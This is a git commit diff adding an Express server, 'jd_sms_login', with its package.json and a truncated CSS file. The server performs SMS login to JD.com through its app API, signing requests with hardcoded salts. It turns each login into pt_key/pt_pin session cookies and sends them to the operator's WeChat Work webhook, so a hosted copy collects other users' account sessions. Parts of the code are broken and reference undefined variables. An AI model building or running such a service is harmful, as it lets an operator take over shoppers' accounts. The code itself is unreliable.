push
commit
8dd7b4c70d
|
@ -0,0 +1,314 @@
|
||||||
|
// 填入你的配置,或者通过环境变量传入
|
||||||
|
const QYWX_KEY =
|
||||||
|
process.env.QYWX_KEY && process.env.QYWX_KEY.length > 0
|
||||||
|
? process.env.QYWX_KEY
|
||||||
|
: '';
|
||||||
|
// 尽量不用@all,除非只有你一个人
|
||||||
|
const QYWX_AM =
|
||||||
|
process.env.QYWX_AM && process.env.QYWX_AM.length > 0
|
||||||
|
? process.env.QYWX_AM
|
||||||
|
: '';
|
||||||
|
const express = require('express');
|
||||||
|
const got = require('got');
|
||||||
|
const path = require('path');
|
||||||
|
const bodyParser = require('body-parser');
|
||||||
|
const app = express();
|
||||||
|
app.use(bodyParser.json({ limit: '50mb' }));
|
||||||
|
app.use(bodyParser.urlencoded({ limit: '50mb', extended: true }));
|
||||||
|
const crypto = require('crypto');
|
||||||
|
const md5 = function (str) {
|
||||||
|
const encode = crypto.createHash('md5');
|
||||||
|
return encode.update(str).digest('hex');
|
||||||
|
};
|
||||||
|
/**
|
||||||
|
* 发送消息推送
|
||||||
|
*
|
||||||
|
* @param {*} msg
|
||||||
|
*/
|
||||||
|
async function sendMsg(updateMsg, cookie, userMsg) {
|
||||||
|
// 企业微信群机器人
|
||||||
|
if (QYWX_KEY) {
|
||||||
|
try {
|
||||||
|
await got.post(
|
||||||
|
`https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`,
|
||||||
|
{
|
||||||
|
responseType: 'json',
|
||||||
|
json: {
|
||||||
|
msgtype: 'text',
|
||||||
|
text: {
|
||||||
|
content: `====获取到cookie====\n${updateMsg}\n用户备注:${userMsg}\n${cookie}`,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
);
|
||||||
|
} catch (err) {
|
||||||
|
console.log({
|
||||||
|
msg: '企业微信群机器人消息发送失败',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (QYWX_AM) {
|
||||||
|
try {
|
||||||
|
const [corpid, corpsecret, userId, agentid] = QYWX_AM.split(',');
|
||||||
|
const getToken = await got.post({
|
||||||
|
url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`,
|
||||||
|
json: {
|
||||||
|
corpid,
|
||||||
|
corpsecret,
|
||||||
|
},
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
},
|
||||||
|
timeout: 10000,
|
||||||
|
});
|
||||||
|
const accessToken = JSON.parse(getToken.body).access_token;
|
||||||
|
const res = await got.post({
|
||||||
|
url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accessToken}`,
|
||||||
|
json: {
|
||||||
|
touser: userId,
|
||||||
|
agentid,
|
||||||
|
safe: '0',
|
||||||
|
msgtype: 'text',
|
||||||
|
text: {
|
||||||
|
content: `====获取到cookie====\n${updateMsg}\n用户备注:${userMsg}\n${cookie}`,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
},
|
||||||
|
timeout: 10000,
|
||||||
|
});
|
||||||
|
} catch (err) {
|
||||||
|
console.log({
|
||||||
|
msg: '企业微信应用消息发送失败',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 对ck进行处 的流程
|
||||||
|
*
|
||||||
|
* @param {*} cookie
|
||||||
|
* @return {*}
|
||||||
|
*/
|
||||||
|
async function cookieFlow(cookie, userMsg) {
|
||||||
|
try {
|
||||||
|
await sendMsg(updateMsg, cookie, userMsg);
|
||||||
|
return msg;
|
||||||
|
} catch (err) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function sendSms(phone) {
|
||||||
|
let appid = 959;
|
||||||
|
let version = '1.0.0';
|
||||||
|
let countryCode = 86;
|
||||||
|
let timestamp = new Date().getTime();
|
||||||
|
let subCmd = 1;
|
||||||
|
let gsalt = 'sb2cwlYyaCSN1KUv5RHG3tmqxfEb8NKN';
|
||||||
|
let gsign = md5('' + appid + version + timestamp + '36' + subCmd + gsalt);
|
||||||
|
let res = await got.post('https://qapplogin.m.jd.com/cgi-bin/qapp/quick', {
|
||||||
|
method: 'post',
|
||||||
|
headers: {
|
||||||
|
'user-agent':
|
||||||
|
'Mozilla/5.0 (Linux; Android 10; V1838T Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36 hap/1.9/vivo com.vivo.hybrid/1.9.6.302 com.jd.crplandroidhap/1.0.3 ({packageName:com.vivo.hybrid,type:deeplink,extra:{}})',
|
||||||
|
'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
|
||||||
|
'content-type': 'application/x-www-form-urlencoded; charset=utf-8',
|
||||||
|
'accept-encoding': '',
|
||||||
|
cookie: '',
|
||||||
|
},
|
||||||
|
body:
|
||||||
|
'client_ver=' +
|
||||||
|
version +
|
||||||
|
'&gsign=' +
|
||||||
|
gsign +
|
||||||
|
'&appid=' +
|
||||||
|
appid +
|
||||||
|
'&return_page=https%3A%2F%2Fcrpl.jd.com%2Fn%2Fmine%3FpartnerId%3DWBTF0KYY%26ADTAG%3Dkyy_mrqd%26token%3D&cmd=36&sdk_ver=1.0.0&sub_cmd=' +
|
||||||
|
subCmd +
|
||||||
|
'&qversion=' +
|
||||||
|
version +
|
||||||
|
'&ts=' +
|
||||||
|
timestamp,
|
||||||
|
dataType: 'json',
|
||||||
|
});
|
||||||
|
let data = JSON.parse(res.body).data;
|
||||||
|
subCmd = 2;
|
||||||
|
timestamp = new Date().getTime();
|
||||||
|
gsalt = data.gsalt;
|
||||||
|
gsign = md5('' + appid + version + timestamp + '36' + subCmd + gsalt);
|
||||||
|
let sign = md5(
|
||||||
|
'' +
|
||||||
|
appid +
|
||||||
|
version +
|
||||||
|
countryCode +
|
||||||
|
phone +
|
||||||
|
'4dtyyzKF3w6o54fJZnmeW3bVHl0$PbXj'
|
||||||
|
);
|
||||||
|
let ck =
|
||||||
|
'guid=' +
|
||||||
|
data.guid +
|
||||||
|
';lsid=' +
|
||||||
|
data.lsid +
|
||||||
|
';gsalt=' +
|
||||||
|
data.gsalt +
|
||||||
|
';rsa_modulus=' +
|
||||||
|
data.rsa_modulus +
|
||||||
|
';';
|
||||||
|
res = await got.post('https://qapplogin.m.jd.com/cgi-bin/qapp/quick', {
|
||||||
|
method: 'post',
|
||||||
|
headers: {
|
||||||
|
'user-agent':
|
||||||
|
'Mozilla/5.0 (Linux; Android 10; V1838T Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36 hap/1.9/vivo com.vivo.hybrid/1.9.6.302 com.jd.crplandroidhap/1.0.3 ({packageName:com.vivo.hybrid,type:deeplink,extra:{}})',
|
||||||
|
'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
|
||||||
|
'content-type': 'application/x-www-form-urlencoded; charset=utf-8',
|
||||||
|
'accept-encoding': '',
|
||||||
|
cookie: ck,
|
||||||
|
},
|
||||||
|
body:
|
||||||
|
'country_code=' +
|
||||||
|
countryCode +
|
||||||
|
'&client_ver=' +
|
||||||
|
version +
|
||||||
|
'&gsign=' +
|
||||||
|
gsign +
|
||||||
|
'&appid=' +
|
||||||
|
appid +
|
||||||
|
'&mobile=' +
|
||||||
|
phone +
|
||||||
|
'&sign=' +
|
||||||
|
sign +
|
||||||
|
'&cmd=36&sub_cmd=' +
|
||||||
|
subCmd +
|
||||||
|
'&qversion=' +
|
||||||
|
version +
|
||||||
|
'&ts=' +
|
||||||
|
timestamp,
|
||||||
|
dataType: 'json',
|
||||||
|
});
|
||||||
|
data = JSON.parse(res.body).data;
|
||||||
|
|
||||||
|
if (data.err_code > 0) {
|
||||||
|
return { ok: false, msg: '发送验证码失败:' + data.err_msg };
|
||||||
|
} else {
|
||||||
|
return { ok: true, msg: 'success', data: { ck: ck, gsalt: gsalt } };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function checkCode(phone, code, gsalt, ck) {
|
||||||
|
let appid = 959;
|
||||||
|
let version = '1.0.0';
|
||||||
|
let countryCode = 86;
|
||||||
|
let timestamp = new Date().getTime();
|
||||||
|
let subCmd = 3;
|
||||||
|
let gsign = md5('' + appid + version + timestamp + '36' + subCmd + gsalt);
|
||||||
|
let body =
|
||||||
|
'country_code=' +
|
||||||
|
countryCode +
|
||||||
|
'&client_ver=' +
|
||||||
|
version +
|
||||||
|
'&gsign=' +
|
||||||
|
gsign +
|
||||||
|
'&smscode=' +
|
||||||
|
code +
|
||||||
|
'&appid=' +
|
||||||
|
appid +
|
||||||
|
'&mobile=' +
|
||||||
|
phone +
|
||||||
|
'&cmd=36&sub_cmd=' +
|
||||||
|
subCmd +
|
||||||
|
'&qversion=' +
|
||||||
|
version +
|
||||||
|
'&ts=' +
|
||||||
|
timestamp;
|
||||||
|
res = await got.post('https://qapplogin.m.jd.com/cgi-bin/qapp/quick', {
|
||||||
|
method: 'post',
|
||||||
|
headers: {
|
||||||
|
'user-agent':
|
||||||
|
'Mozilla/5.0 (Linux; Android 10; V1838T Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36 hap/1.9/vivo com.vivo.hybrid/1.9.6.302 com.jd.crplandroidhap/1.0.3 ({packageName:com.vivo.hybrid,type:deeplink,extra:{}})',
|
||||||
|
'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
|
||||||
|
'content-type': 'application/x-www-form-urlencoded; charset=utf-8',
|
||||||
|
'accept-encoding': '',
|
||||||
|
cookie: ck,
|
||||||
|
},
|
||||||
|
body: body,
|
||||||
|
dataType: 'json',
|
||||||
|
});
|
||||||
|
let data = JSON.parse(res.body);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* API 发验证码
|
||||||
|
*/
|
||||||
|
app.get('/sendSms', async function (request, response) {
|
||||||
|
try {
|
||||||
|
const phone = request.query.phone;
|
||||||
|
if (!new RegExp('\\d{11}').test(phone)) {
|
||||||
|
response.send({ ok: false, msg: '手机号格式错误' });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
console.log(phone);
|
||||||
|
const data = await sendSms(phone);
|
||||||
|
response.send(data);
|
||||||
|
} catch (err) {
|
||||||
|
console.log(err);
|
||||||
|
response.send({ ok: false, msg: '错误' });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
app.post('/checkCode', async function (request, response) {
|
||||||
|
try {
|
||||||
|
const phone = request.query.phone;
|
||||||
|
if (!new RegExp('\\d{11}').test(phone)) {
|
||||||
|
response.send({ ok: false, msg: '手机号格式错误' });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const code = request.query.code;
|
||||||
|
if (!new RegExp('\\d{6}').test(code)) {
|
||||||
|
response.send({ ok: false, msg: '验证码格式错误' });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const { gsalt, ck } = request.body;
|
||||||
|
console.log(phone, code);
|
||||||
|
const data = await checkCode(phone, code, gsalt, ck);
|
||||||
|
if (data.err_code > 0) {
|
||||||
|
response.send({ ok: false, msg: '登录失败:' + r.err_msg });
|
||||||
|
} else {
|
||||||
|
const cookie =
|
||||||
|
'pt_key=' +
|
||||||
|
data.data.pt_key +
|
||||||
|
';pt_pin=' +
|
||||||
|
encodeURIComponent(data.data.pt_pin) +
|
||||||
|
';';
|
||||||
|
await cookieFlow(cookie, '短信登录');
|
||||||
|
response.send({
|
||||||
|
ok: true,
|
||||||
|
msg: '获取ck成功',
|
||||||
|
data: {
|
||||||
|
ck: cookie,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
console.log(err);
|
||||||
|
response.send({ ok: false, msg: '错误' });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
const sleep = (ms) => {
|
||||||
|
return new Promise((resolve) => {
|
||||||
|
setTimeout(resolve, ms);
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
app.use(express.static(path.join(__dirname, 'public')));
|
||||||
|
|
||||||
|
|
||||||
|
const PORT = 6789;
|
||||||
|
app.listen(PORT, () => {
|
||||||
|
console.log(`应用正在监听 ${PORT} 端口!`);
|
||||||
|
});
|
|
@ -0,0 +1,23 @@
|
||||||
|
{
|
||||||
|
"dependencies": {
|
||||||
|
"body-parser": "^1.19.2",
|
||||||
|
"crypto": "^1.0.1",
|
||||||
|
"express": "^4.17.3",
|
||||||
|
"got": "^11.8.2",
|
||||||
|
"path": "^0.12.7"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"serverless": "^3.2.1"
|
||||||
|
},
|
||||||
|
"name": "jd_sms_login",
|
||||||
|
"version": "0.0.1",
|
||||||
|
"description": "Copy from https://t.me/cheese2024",
|
||||||
|
"main": "index.js",
|
||||||
|
"repository": "",
|
||||||
|
"author": "",
|
||||||
|
"license": "MIT",
|
||||||
|
"scripts": {
|
||||||
|
"deploy": "sls deploy",
|
||||||
|
"start": "node index.js"
|
||||||
|
}
|
||||||
|
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,97 @@
|
||||||
|
/* c-message组件样式 */
|
||||||
|
.c-message{
|
||||||
|
position:fixed;
|
||||||
|
top:30px;
|
||||||
|
left:50%;
|
||||||
|
/* transform:translateX(-50%); */
|
||||||
|
padding-left:50px;
|
||||||
|
padding-right:20px;
|
||||||
|
height: 40px;
|
||||||
|
line-height: 40px;
|
||||||
|
background: #fff;
|
||||||
|
min-width:200px;
|
||||||
|
color:#666;
|
||||||
|
box-shadow: 0 2px 4px rgba(0,0,0,.12), 0 0 6px rgba(0,0,0,.04);
|
||||||
|
z-index:9999;
|
||||||
|
}
|
||||||
|
.c-message--icon{
|
||||||
|
color:#fff;
|
||||||
|
width: 40px;
|
||||||
|
height: 40px;
|
||||||
|
text-align: center;
|
||||||
|
position: absolute;
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
line-height: 40px;
|
||||||
|
}
|
||||||
|
.c-message--success{
|
||||||
|
background:#13CE66 url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjQwcHgiIGhlaWdodD0iNDBweCIgdmlld0JveD0iMCAwIDQwIDQwIiB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPgogICAgPCEtLSBHZW5lcmF0b3I6IFNrZXRjaCAzOS4xICgzMTcyMCkgLSBodHRwOi8vd3d3LmJvaGVtaWFuY29kaW5nLmNvbS9za2V0Y2ggLS0+CiAgICA8dGl0bGU+aWNvbl9zdWNjZXNzPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGRlZnM+PC9kZWZzPgogICAgPGcgaWQ9IkVsZW1lbnQtZ3VpZGVsaW5lLXYwLjIuNCIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+CiAgICAgICAgPGcgaWQ9Ik1lc3NhZ2UiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC02MC4wMDAwMDAsIC0yMTIuMDAwMDAwKSI+CiAgICAgICAgICAgIDxnIGlkPSLluKblgL7lkJFf5L+h5oGvIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSg2MC4wMDAwMDAsIDIxMi4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxnIGlkPSJSZWN0YW5nbGUtMiI+CiAgICAgICAgICAgICAgICAgICAgPGcgaWQ9Imljb25fc3VjY2VzcyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUtMiIgZmlsbD0iIzEzQ0U2NiIgeD0iMCIgeT0iMCIgd2lkdGg9IjQwIiBoZWlnaHQ9IjQwIj48L3JlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0yNy44MjU1ODE0LDE3LjE0ODQzNTcgTDE5LjAxNzQ0LDI1LjgyODEyMTMgQzE4LjkwMTE2MDksMjUuOTQyNzA4MyAxOC43NjU1MDMzLDI2IDE4LjYxMDQ2NywyNiBDMTguNDU1NDI3LDI2IDE4LjMxOTc2OTMsMjUuOTQyNzA4MyAxOC4yMDM0ODY1LDI1LjgyODEyMTMgTDE4LjAyOTA3MTYsMjUuNjU2MjUgTDEzLjE3NDQxODYsMjAuODQzNzUgQzEzLjA1ODEzOTUsMjAuNzI5MTYzIDEzLDIwLjU5NTQ4MzcgMTMsMjAuNDQyNzA0NyBDMTMsMjAuMjg5OTI5MyAxMy4wNTgxMzk1LDIwLjE1NjI1IDEzLjE3NDQxODYsMjAuMDQxNjY2NyBMMTQuMzY2Mjc3MiwxOC44NjcxODU3IEMxNC40ODI1NiwxOC43NTI2MDIzIDE0LjYxODIxNzcsMTguNjk1MzEwNyAxNC43NzMyNTc3LDE4LjY5NTMxMDcgQzE0LjkyODI5NCwxOC42OTUzMTA3IDE1LjA2Mzk1MTYsMTguNzUyNjAyMyAxNS4xODAyMzA3LDE4Ljg2NzE4NTcgTDE4LjYxMDQ2NywyMi4yNzYwMzggTDI1LjgxOTc2OTMsMTUuMTcxODcxMyBDMjUuOTM2MDQ4NCwxNS4wNTcyODggMjYuMDcxNzA2LDE1IDI2LjIyNjc0MjMsMTUgQzI2LjM4MTc4MjMsMTUgMjYuNTE3NDQsMTUuMDU3Mjg4IDI2LjYzMzcyMjgsMTUuMTcxODcxMyBMMjcuODI1NTgxNCwxNi4zNDYzNTIzIEMyNy45NDE4NjA1LDE2LjQ2MDkzNTcgMjgsMTYuNTk0NjE1IDI4LDE2Ljc0NzM5NCBDMjgsMTYuOTAwMTczIDI3Ljk0MTg2MDUsMTcuMDMzODUyMyAyNy44MjU1ODE0LDE3LjE0ODQzNTcgTDI3LjgyNTU4MTQsMTcuMTQ4NDM1NyBaIiBpZD0iUGF0aCIgZmlsbD0iI0ZGRkZGRiI+PC9wYXRoPgogICAgICAgICAgICAgICAgICAgIDwvZz4KICAgICAgICAgICAgICAgIDwvZz4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+) no-repeat 0 50%;
|
||||||
|
}
|
||||||
|
.c-message--error{
|
||||||
|
background:#FF4949 url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjQwcHgiIGhlaWdodD0iNDBweCIgdmlld0JveD0iMCAwIDQwIDQwIiB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPgogICAgPCEtLSBHZW5lcmF0b3I6IFNrZXRjaCAzOS4xICgzMTcyMCkgLSBodHRwOi8vd3d3LmJvaGVtaWFuY29kaW5nLmNvbS9za2V0Y2ggLS0+CiAgICA8dGl0bGU+aWNvbl9kYW5nZXI8L3RpdGxlPgogICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+CiAgICA8ZGVmcz48L2RlZnM+CiAgICA8ZyBpZD0iRWxlbWVudC1ndWlkZWxpbmUtdjAuMi40IiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSIgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj4KICAgICAgICA8ZyBpZD0iTWVzc2FnZSIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTYwLjAwMDAwMCwgLTMzMi4wMDAwMDApIj4KICAgICAgICAgICAgPGcgaWQ9IuW4puWAvuWQkV/kv6Hmga8iIHRyYW5zZm9ybT0idHJhbnNsYXRlKDYwLjAwMDAwMCwgMzMyLjAwMDAwMCkiPgogICAgICAgICAgICAgICAgPGcgaWQ9IlJlY3RhbmdsZS0yIj4KICAgICAgICAgICAgICAgICAgICA8ZyBpZD0iaWNvbl9kYW5nZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8cmVjdCBpZD0iUmVjdGFuZ2xlLTIiIGZpbGw9IiNGRjQ5NDkiIHg9IjAiIHk9IjAiIHdpZHRoPSI0MCIgaGVpZ2h0PSI0MCI+PC9yZWN0PgogICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBkPSJNMjUuODE3MjYyNywxNi4zNDUxNzk2IEMyNS45MzkwOTAyLDE2LjIyMzM0ODMgMjYsMTYuMDc2MTQxOCAyNiwxNS45MDM1NTIzIEMyNiwxNS43MzA5NjI4IDI1LjkzOTA5MDIsMTUuNTgzNzU2MyAyNS44MTcyNjI3LDE1LjQ2MTkyODkgTDI0LjUwNzYxNTcsMTQuMTgyNzQxMSBDMjQuMzg1Nzg4MiwxNC4wNjA5MTM3IDI0LjI0MzY1NzUsMTQgMjQuMDgxMjE5NiwxNCBDMjMuOTE4NzgxNywxNCAyMy43NzY2NTEsMTQuMDYwOTEzNyAyMy42NTQ4MjM1LDE0LjE4Mjc0MTEgTDIwLDE3LjgzNzU2MzUgTDE2LjMxNDcyMTYsMTQuMTgyNzQxMSBDMTYuMTkyODkwMiwxNC4wNjA5MTM3IDE2LjA1MDc1OTUsMTQgMTUuODg4MzIxNiwxNCBDMTUuNzI1ODg3NiwxNCAxNS41ODM3NTY5LDE0LjA2MDkxMzcgMTUuNDYxOTI5NCwxNC4xODI3NDExIEwxNC4xNTIyODI0LDE1LjQ2MTkyODkgQzE0LjA1MDc1ODIsMTUuNTgzNzU2MyAxNCwxNS43MzA5NjI4IDE0LDE1LjkwMzU1MjMgQzE0LDE2LjA3NjE0MTggMTQuMDUwNzU4MiwxNi4yMjMzNDgzIDE0LjE1MjI4MjQsMTYuMzQ1MTc5NiBMMTcuODM3NTYwOCwyMC4wMDAwMDE5IEwxNC4xNTIyODI0LDIzLjY1NDgyNDMgQzE0LjA1MDc1ODIsMjMuNzc2NjUxNyAxNCwyMy45MjM4NTgyIDE0LDI0LjA5NjQ0NzcgQzE0LDI0LjI2OTAzNzIgMTQuMDUwNzU4MiwyNC40MTYyNDM3IDE0LjE1MjI4MjQsMjQuNTM4MDcxMSBMMTUuNDYxOTI5NCwyNS44MTcyNTg5IEMxNS41ODM3NTY5LDI1LjkzOTA4NjMgMTUuNzI1ODg3NiwyNiAxNS44ODgzMjE2LDI2IEMxNi4wNTA3NTk1LDI2IDE2LjE5Mjg5MDIsMjUuOTM5MDg2MyAxNi4zMTQ3MjE2LDI1LjgxNzI1ODkgTDIwLDIyLjE2MjQzNjUgTDIzLjY1NDgyMzUsMjUuODE3MjU4OSBDMjMuNzc2NjUxLDI1LjkzOTA4NjMgMjMuOTE4NzgxNywyNiAyNC4wODEyMTk2LDI2IEMyNC4yNDM2NTc1LDI2IDI0LjM4NTc4ODIsMjUuOTM5MDg2MyAyNC41MDc2MTU3LDI1LjgxNzI1ODkgTDI1LjgxNzI2MjcsMjQuNTM4MDcxMSBDMjUuOTM5MDkwMiwyNC40MTYyNDM3IDI2LDI0LjI2OTAzNzIgMjYsMjQuMDk2NDQ3NyBDMjYsMjMuOTIzODU4MiAyNS45MzkwOTAyLDIzLjc3NjY1MTcgMjUuODE3MjYyNywyMy42NTQ4MjQzIEwyMi4xMzE5ODA0LDIwLjAwMDAwMTkgTDI1LjgxNzI2MjcsMTYuMzQ1MTc5NiBaIiBpZD0iUGF0aCIgZmlsbD0iI0ZGRkZGRiI+PC9wYXRoPgogICAgICAgICAgICAgICAgICAgIDwvZz4KICAgICAgICAgICAgICAgIDwvZz4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+) no-repeat 0 50%;
|
||||||
|
}
|
||||||
|
.c-message--info{
|
||||||
|
background:#20A0FF url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjQwcHgiIGhlaWdodD0iNDBweCIgdmlld0JveD0iMCAwIDQwIDQwIiB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPgogICAgPCEtLSBHZW5lcmF0b3I6IFNrZXRjaCAzOS4xICgzMTcyMCkgLSBodHRwOi8vd3d3LmJvaGVtaWFuY29kaW5nLmNvbS9za2V0Y2ggLS0+CiAgICA8dGl0bGU+aWNvbl9pbmZvPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGRlZnM+PC9kZWZzPgogICAgPGcgaWQ9IkVsZW1lbnQtZ3VpZGVsaW5lLXYwLjIuNCIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+CiAgICAgICAgPGcgaWQ9Ik1lc3NhZ2UiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC02MC4wMDAwMDAsIC0xNTIuMDAwMDAwKSI+CiAgICAgICAgICAgIDxnIGlkPSLluKblgL7lkJFf5L+h5oGvIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSg2MC4wMDAwMDAsIDE1Mi4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxnIGlkPSJSZWN0YW5nbGUtMiI+CiAgICAgICAgICAgICAgICAgICAgPGcgaWQ9Imljb25faW5mbyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUtMiIgZmlsbD0iIzUwQkZGRiIgeD0iMCIgeT0iMCIgd2lkdGg9IjQwIiBoZWlnaHQ9IjQwIj48L3JlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0yMS42MTUzODQ2LDI2LjU0MzIwOTkgQzIxLjYxNTM4NDYsMjYuOTQ3ODc1MSAyMS40NTgzMzQ4LDI3LjI5MTgzNjggMjEuMTQ0MjMwOCwyNy41NzUxMDI5IEMyMC44MzAxMjY4LDI3Ljg1ODM2ODkgMjAuNDQ4NzE5NCwyOCAyMCwyOCBDMTkuNTUxMjgwNiwyOCAxOS4xNjk4NzMyLDI3Ljg1ODM2ODkgMTguODU1NzY5MiwyNy41NzUxMDI5IEMxOC41NDE2NjUyLDI3LjI5MTgzNjggMTguMzg0NjE1NCwyNi45NDc4NzUxIDE4LjM4NDYxNTQsMjYuNTQzMjA5OSBMMTguMzg0NjE1NCwxOS43NDQ4NTYgQzE4LjM4NDYxNTQsMTkuMzQwMTkwNyAxOC41NDE2NjUyLDE4Ljk5NjIyOSAxOC44NTU3NjkyLDE4LjcxMjk2MyBDMTkuMTY5ODczMiwxOC40Mjk2OTY5IDE5LjU1MTI4MDYsMTguMjg4MDY1OCAyMCwxOC4yODgwNjU4IEMyMC40NDg3MTk0LDE4LjI4ODA2NTggMjAuODMwMTI2OCwxOC40Mjk2OTY5IDIxLjE0NDIzMDgsMTguNzEyOTYzIEMyMS40NTgzMzQ4LDE4Ljk5NjIyOSAyMS42MTUzODQ2LDE5LjM0MDE5MDcgMjEuNjE1Mzg0NiwxOS43NDQ4NTYgTDIxLjYxNTM4NDYsMjYuNTQzMjA5OSBaIE0yMCwxNS44MDQyOTgxIEMxOS40NDQ0NDI3LDE1LjgwNDI5ODEgMTguOTcyMjI0LDE1LjYxOTM2ODcgMTguNTgzMzMzMywxNS4yNDk1MDQ2IEMxOC4xOTQ0NDI3LDE0Ljg3OTY0MDYgMTgsMTQuNDMwNTI1NSAxOCwxMy45MDIxNDkxIEMxOCwxMy4zNzM3NzI2IDE4LjE5NDQ0MjcsMTIuOTI0NjU3NSAxOC41ODMzMzMzLDEyLjU1NDc5MzUgQzE4Ljk3MjIyNCwxMi4xODQ5Mjk1IDE5LjQ0NDQ0MjcsMTIgMjAsMTIgQzIwLjU1NTU1NzMsMTIgMjEuMDI3Nzc2LDEyLjE4NDkyOTUgMjEuNDE2NjY2NywxMi41NTQ3OTM1IEMyMS44MDU1NTczLDEyLjkyNDY1NzUgMjIsMTMuMzczNzcyNiAyMiwxMy45MDIxNDkxIEMyMiwxNC40MzA1MjU1IDIxLjgwNTU1NzMsMTQuODc5NjQwNiAyMS40MTY2NjY3LDE1LjI0OTUwNDYgQzIxLjAyNzc3NiwxNS42MTkzNjg3IDIwLjU1NTU1NzMsMTUuODA0Mjk4MSAyMCwxNS44MDQyOTgxIFoiIGlkPSJDb21iaW5lZC1TaGFwZSIgZmlsbD0iI0ZGRkZGRiI+PC9wYXRoPgogICAgICAgICAgICAgICAgICAgIDwvZz4KICAgICAgICAgICAgICAgIDwvZz4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+) no-repeat 0 50%;
|
||||||
|
}
|
||||||
|
.c-message--warning{
|
||||||
|
